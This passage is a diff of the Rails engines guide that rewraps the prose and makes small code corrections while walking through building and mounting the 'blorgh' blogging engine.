-Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`.
-
-Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.
-
-Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine.
-
-The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
-
-Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
-
-It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
-
-To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
-
-Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+Engines can be considered miniature applications that provide functionality to
+their host applications. A Rails application is actually just a "supercharged"
+engine, with the `Rails::Application` class inheriting a lot of its behavior
+from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of almost the same thing,
+just with subtle differences, as you'll see throughout this guide. Engines and
+applications also share a common structure.
+
+Engines are also closely related to plugins. The two share a common `lib`
+directory structure, and are both generated using the `rails plugin new`
+generator. The difference is that an engine is considered a "full plugin" by
+Rails (as indicated by the `--full` option that's passed to the generator
+command). This guide will refer to them simply as "engines" throughout. An
+engine **can** be a plugin, and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". The
+engine will provide blogging functionality to its host applications, allowing
+for new posts and comments to be created. At the beginning of this guide, you
+will be working solely within the engine itself, but in later sections you'll
+see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an
+application is able to have a path provided by a routing helper such as
+`posts_path` and use an engine also that provides a path also called
+`posts_path`, and the two would not clash. Along with this, controllers, models
+and table names are also namespaced. You'll see how to do this later in this
+guide.
+
+It's important to keep in mind at all times that the application should
+**always** take precedence over its engines. An application is the object that
+has final say in what goes on in the universe (with the universe being the
+application's environment) where the engine should only be enhancing it, rather
+than changing it drastically.
+
+To see demonstrations of other engines, check out
+[Devise](https://github.com/plataformatec/devise), an engine that provides
+authentication for its parent applications, or
+[Forem](https://github.com/radar/forem), an engine that provides forum
+functionality. There's also [Spree](https://github.com/spree/spree) which
+provides an e-commerce platform, and
+[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam,
+Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever
+meet them, don't forget to say thanks!
Generating an engine
--------------------
-To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:
+To generate an engine, you will need to run the plugin generator and pass it
+options as appropriate to the need. For the "blorgh" example, you will need to
+create a "mountable" engine, running this command in a terminal:
```bash
$ rails plugin new blorgh --mountable
@@ -47,7 +82,8 @@ The full list of options for the plugin generator may be seen by typing:
$ rails plugin --help
```
-The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following:
+The `--full` option tells the generator that you want to create an engine,
+including a skeleton structure that provides the following:
* An `app` directory tree
* A `config/routes.rb` file:
@@ -56,7 +92,9 @@ The `--full` option tells the generator that you want to create an engine, inclu
Rails.application.routes.draw do
end
```
- * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file:
+
+ * A file at `lib/blorgh/engine.rb`, which is identical in function to a
+ * standard Rails application's `config/application.rb` file:
```ruby
module Blorgh
@@ -65,7 +103,9 @@ The `--full` option tells the generator that you want to create an engine, inclu
end
```
-The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add:
+The `--mountable` option tells the generator that you want to create a
+"mountable" and namespace-isolated engine. This generator will provide the same
+skeleton structure as would the `--full` option, and will add:
* Asset manifest files (`application.js` and `application.css`)
* A namespaced `ApplicationController` stub
@@ -88,23 +128,32 @@ The `--mountable` option tells the generator that you want to create a "mountabl
end
```
-Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`:
+Additionally, the `--mountable` option tells the generator to mount the engine
+inside the dummy testing application located at `test/dummy` by adding the
+following to the dummy application's routes file at
+`test/dummy/config/routes.rb`:
```ruby
mount Blorgh::Engine, at: "blorgh"
```
-### Inside an engine
+### Inside an Engine
-#### Critical files
+#### Critical Files
-At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`:
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file.
+When you include the engine into an application later on, you will do so with
+this line in the Rails application's `Gemfile`:
```ruby
gem 'blorgh', path: "vendor/engines/blorgh"
```
-By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`.
+Don't forget to run `bundle install` as usual. By specifying it as a gem within
+the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file
+and requiring a file within the `lib` directory called `lib/blorgh.rb`. This
+file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`)
+and defines a base module called `Blorgh`.
```ruby
require "blorgh/engine"
@@ -113,7 +162,10 @@ module Blorgh
end
```
-TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go.
+TIP: Some engines choose to use this file to put global configuration options
+for their engine. It's a relatively good idea, so if you want to offer
+configuration options, the file where your engine's `module` is defined is
+perfect for that. Place the methods inside the module and you'll be good to go.
Within `lib/blorgh/engine.rb` is the base class for the engine:
@@ -125,43 +177,94 @@ module Blorgh
end
```
-By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views.
-
-The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers.
-
-NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application.
-
-What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well.
-
-Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.
-
-#### `app` directory
-
-Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
-
-Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
-
-Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
-
-NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.
-
-Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file.
-
-If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
-
-#### `bin` directory
-
-This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that
+there's an engine at the specified path, and will correctly mount the engine
+inside the application, performing tasks such as adding the `app` directory of
+the engine to the load path for models, mailers, controllers and views.
+
+The `isolate_namespace` method here deserves special notice. This call is
+responsible for isolating the controllers, models, routes and other things into
+their own namespace, away from similar components inside the application.
+Without this, there is a possibility that the engine's components could "leak"
+into the application, causing unwanted disruption, or that important engine
+components could be overridden by similarly named things within the application.
+One of the examples of such conflicts is helpers. Without calling
+`isolate_namespace`, the engine's helpers would be included in an application's
+controllers.
+
+NOTE: It is **highly** recommended that the `isolate_namespace` line be left
+within the `Engine` class definition. Without it, classes generated in an engine
+**may** conflict with an application.
+
+What this isolation of the namespace means is that a model generated by a call
+to `rails g model`, such as `rails g model post`, won't be called `Post`, but
+instead be namespaced and called `Blorgh::Post`. In addition, the table for the
+model is namespaced, becoming `blorgh_posts`, rather than simply `posts`.
+Similar to the model namespacing, a controller called `PostsController` becomes
+`Blorgh::PostsController` and the views for that controller will not be at
+`app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced
+as well.
+
+Finally, routes will also be isolated within the engine. This is one of the most
+important parts about namespacing, and is discussed later in the
+[Routes](#routes) section of this guide.
+
+#### `app` Directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`,
+`mailers`, `models` and `views` directories that you should be familiar with
+from an application. The `helpers`, `mailers` and `models` directories are
+empty, so they aren't described in this section. We'll look more into models in
+a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and
+`stylesheets` directories which, again, you should be familiar with due to their
+similarity to an application. One difference here, however, is that each
+directory contains a sub-directory with the engine name. Because this engine is
+going to be namespaced, its assets should be too.
+
+Within the `app/controllers` directory there is a `blorgh` directory that
+contains a file called `application_controller.rb`. This file will provide any
+common functionality for the controllers of the engine. The `blorgh` directory
+is where the other controllers for the engine will go. By placing them within
+this namespaced directory, you prevent them from possibly clashing with
+identically-named controllers within other engines or even within the
+application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a
+Rails application in order to make it easier for you to convert your
+applications into engines.
+
+Lastly, the `app/views` directory contains a `layouts` folder, which contains a
+file at `blorgh/application.html.erb`. This file allows you to specify a layout
+for the engine. If this engine is to be used as a stand-alone engine, then you
+would add any customization to its layout in this file, rather than the
+application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can
+delete this file and reference a different layout in the controllers of your
+engine.
+
+#### `bin` Directory
+
+This directory contains one file, `bin/rails`, which enables you to use the
+`rails` sub-commands and generators just like you would within an application.
+This means that you will be able to generate new controllers and models for this
+engine very easily by running commands like this:
```bash
rails g model
```
-Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced.
+Keep in mind, of course, that anything generated with these commands inside of
+an engine that has `isolate_namespace` in the `Engine` class will be namespaced.
-#### `test` directory
+#### `test` Directory
-The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file:
+The `test` directory is where tests for the engine will go. To test the engine,
+there is a cut-down version of a Rails application embedded within it at
+`test/dummy`. This application will mount the engine in the
+`test/dummy/config/routes.rb` file:
```ruby
Rails.application.routes.draw do
@@ -169,18 +272,25 @@ Rails.application.routes.draw do
end
```
-This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path.
+This line mounts the engine at the path `/blorgh`, which will make it accessible
+through the application only at that path.
-In the test directory there is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory as well. For example, you may wish to create a `test/models` directory for your models tests.
+Inside the test directory there is the `test/integration` directory, where
+integration tests for the engine should be placed. Other directories can be
+created in the `test` directory as well. For example, you may wish to create a
+`test/models` directory for your model tests.
Providing engine functionality
------------------------------
-The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.
+The engine that this guide covers provides posting and commenting functionality
+and follows a similar thread to the [Getting Started
+Guide](getting_started.html), with some new twists.
-### Generating a post resource
+### Generating a Post Resource
-The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+The first thing to generate for a blog engine is the `Post` model and related
+controller. To quickly generate this, you can use the Rails scaffold generator.
```bash
$ rails generate scaffold post title:string text:text
@@ -195,7 +305,8 @@ create app/models/blorgh/post.rb
invoke test_unit
create test/models/blorgh/post_test.rb
create test/fixtures/blorgh/posts.yml
- route resources :posts
+invoke resource_route
+ route resources :posts
invoke scaffold_controller
create app/controllers/blorgh/posts_controller.rb
invoke erb
@@ -220,11 +331,22 @@ invoke css
create app/assets/stylesheets/scaffold.css
```
-The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class.
+The first thing that the scaffold generator does is invoke the `active_record`
+generator, which generates a migration and a model for the resource. Note here,
+however, that the migration is called `create_blorgh_posts` rather than the
+usual `create_posts`. This is due to the `isolate_namespace` method called in
+the `Blorgh::Engine` class's definition. The model here is also namespaced,
+being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due
+to the `isolate_namespace` call within the `Engine` class.
-Next, the `test_unit` generator is invoked for this model, generating a model test at `test/models/blorgh/post_test.rb` (rather than `test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`).
+Next, the `test_unit` generator is invoked for this model, generating a model
+test at `test/models/blorgh/post_test.rb` (rather than
+`test/models/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml`
+(rather than `test/fixtures/posts.yml`).
-After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this:
+After that, a line for the resource is inserted into the `config/routes.rb` file
+for the engine. This line is simply `resources :posts`, turning the
+`config/routes.rb` file for the engine into this:
```ruby
Blorgh::Engine.routes.draw do
@@ -232,12 +354,22 @@ Blorgh::Engine.routes.draw do
end
```
-Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. It also causes the engine's routes to be isolated from those routes that are within the application. The [Routes](#routes) section of
-this guide describes it in details.
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than
+the `YourApp::Application` class. This is so that the engine routes are confined
+to the engine itself and can be mounted at a specific point as shown in the
+[test directory](#test-directory) section. It also causes the engine's routes to
+be isolated from those routes that are within the application. The
+[Routes](#routes) section of this guide describes it in detail.
-Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a test for the controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`).
+Next, the `scaffold_controller` generator is invoked, generating a controller
+called `Blorgh::PostsController` (at
+`app/controllers/blorgh/posts_controller.rb`) and its related views at
+`app/views/blorgh/posts`. This generator also generates a test for the
+controller (`test/controllers/blorgh/posts_controller_test.rb`) and a helper
+(`app/helpers/blorgh/posts_controller.rb`).
-Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module:
+Everything this generator has created is neatly namespaced. The controller's
+class is defined within the `Blorgh` module:
```ruby
module Blorgh
@@ -247,50 +379,76 @@ module Blorgh
end
```
-NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`.
+NOTE: The `ApplicationController` class being inherited from here is the
+`Blorgh::ApplicationController`, not an application's `ApplicationController`.
The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
```ruby
module Blorgh
- class PostsHelper
+ module PostsHelper
...
end
end
```
-This helps prevent conflicts with any other engine or application that may have a post resource as well.
+This helps prevent conflicts with any other engine or application that may have
+a post resource as well.
-Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little later.
+Finally, the assets for this resource are generated in two files:
+`app/assets/javascripts/blorgh/posts.js` and
+`app/assets/stylesheets/blorgh/posts.css`. You'll see how to use these a little
+later.
-By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/layouts/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
+By default, the scaffold styling is not applied to the engine because the
+engine's layout file, `app/views/layouts/blorgh/application.html.erb`, doesn't
+load it. To make the scaffold styling apply, insert this line into the `<head>`
+tag of this layout:
```erb
<%= stylesheet_link_tag "scaffold" %>
```
-You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
+You can see what the engine has so far by running `rake db:migrate` at the root
+of our engine to run the migration generated by the scaffold generator, and then
+running `rails server` in `test/dummy`. When you open
+`http://localhost:3000/blorgh/posts` you will see the default scaffold that has
+been generated. Click around! You've just generated your first engine's first
+functions.
-If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`.
+If you'd rather play around in the console, `rails console` will also work just
+like a Rails application. Remember: the `Post` model is namespaced, so to
+reference it you must call it as `Blorgh::Post`.
```ruby
>> Blorgh::Post.find(1)
=> #<Blorgh::Post id: 1 ...>
```
-One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine:
+One final thing is that the `posts` resource for this engine should be the root
+of the engine. Whenever someone goes to the root path where the engine is
+mounted, they should be shown a list of posts. This can be made to happen if
+this line is inserted into the `config/routes.rb` file inside the engine:
```ruby
root to: "posts#index"
```
-Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now.
+Now people will only need to go to the root of the engine to see all the posts,
+rather than visiting `/posts`. This means that instead of
+`http://localhost:3000/blorgh/posts`, you only need to go to
+`http://localhost:3000/blorgh` now.
-### Generating a comments resource
+### Generating a Comments Resource
-Now that the engine can create new blog posts, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+Now that the engine can create new blog posts, it only makes sense to add
+commenting functionality as well. To do this, you'll need to generate a comment
+model, a comment controller and then modify the posts scaffold to display
+comments and allow people to create new ones.
-Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column.
+From the application root, run the model generator. Tell it to generate a
+`Comment` model, with the related table having two columns: a `post_id` integer
+and `text` text column.
```bash
$ rails generate model Comment post_id:integer text:text
@@ -307,16 +465,26 @@ create test/models/blorgh/comment_test.rb
create test/fixtures/blorgh/comments.yml
```
-This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`.
+This generator call will generate just the necessary model files it needs,
+namespacing the files under a `blorgh` directory and creating a model class
+called `Blorgh::Comment`. Now run the migration to create our blorgh_comments
+table:
+
+```bash
+$ rake db:migrate
+```
-To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link:
+To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and
+add this line before the "Edit" link:
```html+erb
<h3>Comments</h3>
<%= render @post.comments %>
```
-This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model:
+This line will require there to be a `has_many` association for comments defined
+on the `Blorgh::Post` model, which there isn't right now. To define one, open
+`app/models/blorgh/post.rb` and add this line into the model:
```ruby
has_many :comments
@@ -332,28 +500,38 @@ module Blorgh
end
```
-NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here.
+NOTE: Because the `has_many` is defined inside a class that is inside the
+`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment`
+model for these objects, so there's no need to specify that using the
+`:class_name` option here.
-Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`:
+Next, there needs to be a form so that comments can be created on a post. To add
+this, put this line underneath the call to `render @post.comments` in
+`app/views/blorgh/posts/show.html.erb`:
```erb
<%= render "blorgh/comments/form" %>
```
-Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:
+Next, the partial that this line will render needs to exist. Create a new
+directory at `app/views/blorgh/comments` and in it a new file called
+`_form.html.erb` which has this content to create the required partial:
```html+erb
<h3>New comment</h3>
<%= form_for [@post, @post.comments.build] do |f| %>
<p>
- <%= f.label :text %><br />
+ <%= f.label :text %><br>
<%= f.text_area :text %>
</p>
<%= f.submit %>
<% end %>
```
-When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines:
+When this form is submitted, it is going to attempt to perform a `POST` request
+to a route of `/posts/:post_id/comments` within the engine. This route doesn't
+exist at the moment, but can be created by changing the `resources :posts` line
+inside `config/routes.rb` into these lines:
```ruby
resources :posts do
@@ -363,7 +541,8 @@ end
This creates a nested route for the comments, which is what the form requires.
-The route now exists, but the controller that this route goes to does not. To create it, run this command:
+The route now exists, but the controller that this route goes to does not. To
+create it, run this command from the application root:
```bash
$ rails g controller comments
@@ -388,141 +567,227 @@ invoke css
create app/assets/stylesheets/blorgh/comments.css
```
-The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+The form will be making a `POST` request to `/posts/:post_id/comments`, which
+will correspond with the `create` action in `Blorgh::CommentsController`. This
+action needs to be created, which can be done by putting the following lines
+inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
```ruby
def create
@post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
+ @comment = @post.comments.create(comment_params)
flash[:notice] = "Comment has been created!"
redirect_to posts_path
end
+
+private
+ def comment_params
+ params.require(:comment).permit(:text)
+ end
```
-This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+This is the final step required to get the new comment form working. Displaying
+the comments, however, is not quite right yet. If you were to create a comment
+right now, you would see this error:
-```
-Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
- * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
- * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+```
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder],
+:formats=>[:html], :locale=>[:en, :en]}. Searched in: *
+"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" *
+"/Users/ryan/Sites/side_projects/blorgh/app/views"
```
-The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class.
+The engine is unable to find the partial required for rendering the comments.
+Rails looks first in the application's (`test/dummy`) `app/views` directory and
+then in the engine's `app/views` directory. When it can't find it, it will throw
+this error. The engine knows to look for `blorgh/comments/comment` because the
+model object it is receiving is from the `Blorgh::Comment` class.
-This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it:
+This partial will be responsible for rendering just the comment text, for now.
+Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this
+line inside it:
```erb
<%= comment_counter + 1 %>. <%= comment.text %>
```
-The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+The `comment_counter` local variable is given to us by the `<%= render
+@post.comments %>` call, which will define it automatically and increment the
+counter as it iterates through each comment. It's used in this example to
+display a small number next to each comment when it's created.
-That completes the comment function of the blogging engine. Now it's time to use it within an application.
+That completes the comment function of the blogging engine. Now it's time to use
+it within an application.
-Hooking into an application
+Hooking Into an Application
---------------------------
-Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine.
+Using an engine within an application is very easy. This section covers how to
+mount the engine into an application and the initial setup required, as well as
+linking the engine to a `User` class provided by the application to provide
+ownership for posts and comments within the engine.
-### Mounting the engine
+### Mounting the Engine
-First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this:
+First, the engine needs to be specified inside the application's `Gemfile`. If
+there isn't an application handy to test this out in, generate one using the
+`rails new` command outside of the engine directory like this:
```bash
$ rails new unicorn
```
-Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+Usually, specifying the engine inside the Gemfile would be done by specifying it
+as a normal, everyday gem.
```ruby
gem 'devise'
```
-However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`:
+However, because you are developing the `blorgh` engine on your local machine,
+you will need to specify the `:path` option in your `Gemfile`:
```ruby
gem 'blorgh', path: "/path/to/blorgh"
```
-As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine.
+Then run `bundle` to install the gem.
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when
+Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then
+`lib/blorgh/engine.rb`, which is the file that defines the major pieces of
+functionality for the engine.
-To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file:
+To make the engine's functionality accessible from within an application, it
+needs to be mounted in that application's `config/routes.rb` file:
```ruby
mount Blorgh::Engine, at: "/blog"
```
-This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`.
+This line will mount the engine at `/blog` in the application. Making it
+accessible at `http://localhost:3000/blog` when the application runs with `rails
+server`.
-NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+NOTE: Other engines, such as Devise, handle this a little differently by making
+you specify custom helpers (such as `devise_for`) in the routes. These helpers
+do exactly the same thing, mounting pieces of the engines's functionality at a
+pre-defined path which may be customizable.
### Engine setup
-The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+The engine contains migrations for the `blorgh_posts` and `blorgh_comments`
+table which need to be created in the application's database so that the
+engine's models can query them correctly. To copy these migrations into the
+application use this command:
```bash
-$ rake blorgh_engine:install:migrations
+$ rake blorgh:install:migrations
```
-If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead:
+If you have multiple engines that need migrations copied over, use
+`railties:install:migrations` instead:
```bash
$ rake railties:install:migrations
```
-This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+This command, when run for the first time, will copy over all the migrations
+from the engine. When run the next time, it will only copy over migrations that
+haven't been copied over already. The first run for this command will output
+something such as this:
```bash
Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
```
-The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+The first timestamp (`[timestamp_1]`) will be the current time, and the second
+timestamp (`[timestamp_2]`) will be the current time plus a second. The reason
+for this is so that the migrations for the engine are run after any existing
+migrations in the application.
-To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+To run these migrations within the context of the application, simply run `rake
+db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the
+posts will be empty. This is because the table created inside the application is
